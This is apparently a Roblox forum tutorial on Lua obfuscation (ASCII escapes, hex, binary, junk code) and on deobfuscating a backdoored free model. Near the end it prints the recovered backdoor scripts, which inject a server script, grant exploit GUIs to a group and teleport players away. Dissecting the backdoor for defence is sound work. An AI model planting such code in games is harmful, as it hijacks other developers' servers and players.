Hello everyone! (⌒▽⌒)☆
Today me, Zamdie, the one and only, the nerdiest polish-brazillian programmer on Earth™, is going to teach you how to reverse engineer that one free model that has a weird script in it!
Along this guide you’ll also learn important programming things, like binary numbers, hexadecimal numbers, ASCII, etc!
I recommend doing the exercises as practicing is the best way to learn!
Please note that the best defense is not inserting sketchy models in your game! If you wish to reverse engineer a script made by exploiters, or go on a reporting spree (Studio noobs will be grateful for that), do it on an empty baseplate, or alt!
Prerequisites
- A brain; (min. age: 13)
- A way to execute Lua code;
Can be either:- Roblox Studio;
- A Lua interpreter, along with a text editor; I use VSC
Method of obfuscation 1: ASCII
ASCII stands for American Standard Code for Information Interchange
and contains “codes” for characters, which computing devices can use to represent characters!
In case you didn’t know, CPUs only read binary digits, most known as bits (0s and 1s). An ASCII code consists of 7 bits (nowadays you have ASCII compatible 8 bits codes).
So when you’re compiling your program, it’s going to take that string and read the codes for each character in whatever string you’ve got, take the bits for the code of the character, and put it in the machine code generated! in case you didn’t know, strings are an array of characters
What’s escaping a string
Quoting from wikipedia because I’m a cool kid
In computing and telecommunication, an escape character is a character that invokes an alternative
interpretation on the following characters in a character sequence.
What does that mean?
This means, instead of literally taking the specific character into the string, it’s going to do something else with it. Most known escape character is \n
, it indicates a new line. Here’s what the escape characters below do:
-
\\
: since\
is the escape character, escaping it with another\
will print one\
; -
\n
: starts a new line;
ASCII in Lua
In Lua, to put an ASCII code in a string, you need to escape that specific code in the string, and Lua’s going to take the character for that code. Here you can find all codes!
Let’s take a look:
What you wanna look at is the “Dec” column (which stands for Decimal). It’s the number we’re going to escape. I’m going to take the number 122
, which is the code for the character z
.
You’re ready on your journey to become a Master Hacker™
However, I said that you’re ready to start your journey, not that you’re already one. Let’s print out my username.
-
90
- Z -
97
- a -
109
- m -
100
- d -
105
- i -
101
- e
Let’s put that into Lua code!
You can also group characters with ASCII codes without problem!
Exercise: print out your username solely with ASCII codes!
Method of obfuscation 2: Hex values
Hexadecimal values are written in base 16. What does that mean? Well, you see, the decimal system is decimal because you can use 10 symbols to write things: 0-9; while the hexadecimal system has 16 symbols: 0-9 and “A-F” (10-15).
In a nutshell, hexadecimal is decimal but on .
Why , you ask? Read this.
TL;DR: it’s more readable than binary and it’s base is a multiple of 2, which is the base of binary. Thus it lines up with binary every 4 bits, whereas decimals never do.
A simple way of converting a hexadecimal with 5 numerical digits is as follows:
fifth number * 16^0 + fourth number * 16^1 + third number * 16^2 + second number * 16^3 + first number * 16^4
For example, to calculate 0x1234f
, you’d do:
15 * 16^0 + 4 * 16^1 + 3 * 16^2 + 2 * 16^3 + 1 * 16^4
remember that A-F covers 10-15, so F in the example above is 15!
if you’re interested in going in-depth, you can read an article!
Hexadecimals in Lua
To define a hexadecimal number in Lua, you use 0xnumber
.
Great! Let’s apply the theory into practice.
0x12345
:
0x16
:
0x80
: probably the most important hexadecimal number in history
0xfc1
:Exercise: print the hexadecimal 0x16a3
along with the math solution!
Answer:
Method of obfuscation 3: binary
This only works with Luau!
Ah yes, binary, the nightmare of every person with a weak learning mindset.
Would you believe me if I said, that you convert binary to hexadecimal the same way you do from hexadecimal to decimal?
Let’s see. Take this binary number: 1001
We convert it like this:
1 * 2^0 + 0 * 2^1 + 0 * 2^2 + 1 * 2^3
If we simplify it (remove the zeros), it becomes:
1 * 2^0 + 1 * 2^4
It’s that simple!
Binary in Luau
We define a binary number via 0byourBinaryNumber
. Let’s see some examples!
-
1111 1001
: we’re already working with a byte (8 bits)
-
1001 1
:
Exercise: print the binary 1111 0110
along with the math solution!
Answer:
Method of obfuscation 4: junk code
This is probably the most known one; a bunch of variables called lIllIIIllIIIlllII
with a bunch of functions and built-in functions being defined.
This is actually pretty simple to understand; consider the following code:
local Players = game:GetService("Players")
Players.PlayerAdded:Connect(function(player: Player)
print(player.Name .. " has joined the game!")
end)
This is code we can all read; now consider this code:
local game = game
local reverse = string.reverse
local function getServiceString()
return reverse("GetService")
end
local function someJunk(str)
return game[reverse(getServiceString())](game, reverse(reverse("Players")))
end
local function getPlayers(str)
return someJunk(str)
end
getPlayers()[reverse(reverse("PlayerAdded"))][reverse(reverse("Connect"))](getPlayers()[reverse(reverse("PlayerAdded"))], function(player)
print(player.Name .. " has joined the game!")
end)
If I told you that is the same code as the snippet before, would you believe me?
If we remove the junk, we get this:
game.Players.PlayerAdded.Connect(game.Players.PlayerAdded, function(player)
print(player.Name .. " has joined the game!")
end)
(using []
is the same as via dot notation, so we have to manually pass in self
, which is the event to be connected to)
Now switch those characters to ASCII codes, slap a bunch more functions to do every single thing, change all variables to lIlllIIlIllIIIllI
and you’ve basically obfuscated your script!
Reverse engineering
Let’s Git to the Gud stuff!
I’m going to grab a free model and check for funny scripts!
After literally 1 model searched, here’s a funny hexadecimal code!
Let’s get that into a decimal number!
For obfuscated scripts your best bet are deobfuscators. (or time and intellect)
You might also find scripts with a lot of spaces. Simply paste it into a beautifier so you can access it’s secrets
After less than a minute searching, I’ve found an infected model. Searching for “script” I’ve found this:
Great! We found a module that uses a loadstring
implementation, with the require obfuscated with ASCII characters! There couldn’t be a better example for this tutorial than this!
The submodules are unimportant, the actual ASCII escaped string is in the Credits
script.
Yup, that’s just the credits for the model. Seems legit. End of tutorial!
I’ve been received with a lot of whitespaces. I mean, that’s so rude . Whoever made that module definitely hates poles!
Alright, I’m Ctrl + A’ing the code and going to the Lua beautifier above and pasting it in. Everything the rude man put in there is going to be revealed to me
As you can see, it calls the submodule, which by it’s name we can obviously tell what it does.
So what can we do?
- Print the string in Studio (or with vanilla Lua)
- Manually decode it
I’m going with option 1, because it’s just easier. You can do it manually if you wanna test your knowledge though!
Very sneaky, I suppose.
Great, We got the ID! We’re able to grab the source of the module now. Using the https://www.roblox.com/library/id
link, and the BTRoblox extension to download the .rbxm
file, we can have a peek at the model.
Now that we’ve got the .rbxm
file, let’s look at their horrendous code:
local module = {}
local group = 7077436
script.Functions.ScriptAAA:Clone().Parent = game.ServerScriptService
game.Players.PlayerAdded:Connect(function(lol)
if lol:IsInGroup(group) then
script.ScreenGui:Clone().Parent = lol.PlayerGui
end
end)
return module
script:FindFirstChild("Script").Parent = game:GetService("ServerScriptService");
local AlreadyTeleported = {};
game:GetService("Players").PlayerAdded:Connect(function(Player)
local AlreadyTPed = false;
for Index, Value in next, AlreadyTeleported do
if Value == Player.Name then
AlreadyTPed = true;
end;
end;
if AlreadyTPed == false then
local teleportData = {
placeId = game.PlaceId,
jobId = game.JobId
}
game:GetService("TeleportService"):Teleport(5121000130, Player, teleportData)
table.insert(AlreadyTeleported, Player.Name)
end;
end);
Roasting time!
- They aren’t using
:GetService
, if the owner of the place changes the name of thePlayers
service, their script is going to be useless XD - Non-descriptive variables;
- Uses
next
instead ofpairs()
;
It contains this GUI:
We’ve reached a server side exploit operation! Digging a bit deeper, I’ve found a YouTube video showing it off, with the Discord link. I’m not going any deeper than that, it would only be trouble.
Lessgoooo! banning is gone
From what we can see, it checks if the person is in a group, presumably for people that’ve bought access to this server-side exploit and shows that GUI for them. fun fact, the members of this group aren’t banned (except the lady that made the script, she’s the owner), and one dude’s account is from 2007!
The second script links to a game, which coincidentally is made by the same person that made the script, the “server side” and the group!
In this case the person who made this is already banned, but make sure to report the groups and/or users so Roblox can ban them. This is important. (she had expensive items, don’t do wrong stuff kids)
Final words
Feel free to correct any mistakes!
I’d like to thank you for reading (and hopefully understood!) everything I’ve shared here. \(^ヮ^)/
I mainly made this tutorial because there isn’t too much information on this. When I started programming Luau, I was a noob at this stuff because it was my first language, and CS was a big and complicated world. I mean, it still is, but I already learnt a bunch of stuff in those 4 years!
So I thought all those numbers and stuff were obfuscated, and that I wouldn’t be able to deobfuscate them. Turned out it was super easy!
Do zobaczenia, till’ next time!